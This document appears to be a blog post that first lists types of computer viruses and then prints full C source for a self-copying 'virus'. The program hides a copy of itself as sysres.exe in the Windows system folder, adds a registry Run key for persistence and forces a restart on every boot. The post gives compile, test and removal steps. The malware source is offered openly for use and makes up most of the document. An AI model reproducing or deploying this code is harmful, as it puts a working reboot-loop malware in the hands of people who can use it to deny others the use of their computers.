Virus

What is a Computer Virus ?
 A potentially damaging computer program capable of reproducing itself causing great harm to files or other programs without permission or knowledge of the user.


Types of viruses :-
The different types of viruses are as follows-

1) Boot Sector Virus :- Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.

Examples of boot- sector viruses are Michelangelo and Stoned.

2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .

Some common file viruses are Sunday, Cascade.

3) Multipartite Viruses :- A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.
This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.

Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.

4) Stealth Viruses :- These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

5) Polymorphic Viruses :- Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.

6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.
 

A Virus Program to Restart the Computer at Every Startup

the source code.

#include<stdio.h>
#include<dos.h>
#include<dir.h>

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart}

NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.

Compiling The Scource Code Into Executable Virus.

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.

1. Reboot your computer in the SAFE MODE

2. Goto

X:\Windows\System

(X can be C,D,E or F)

3.You will find a file by name sysres.exe, delete it.

4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

 There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. 

LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).

2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System

3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.

4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click theSysres.exe file.The restarting process will occur from the next boot of the system.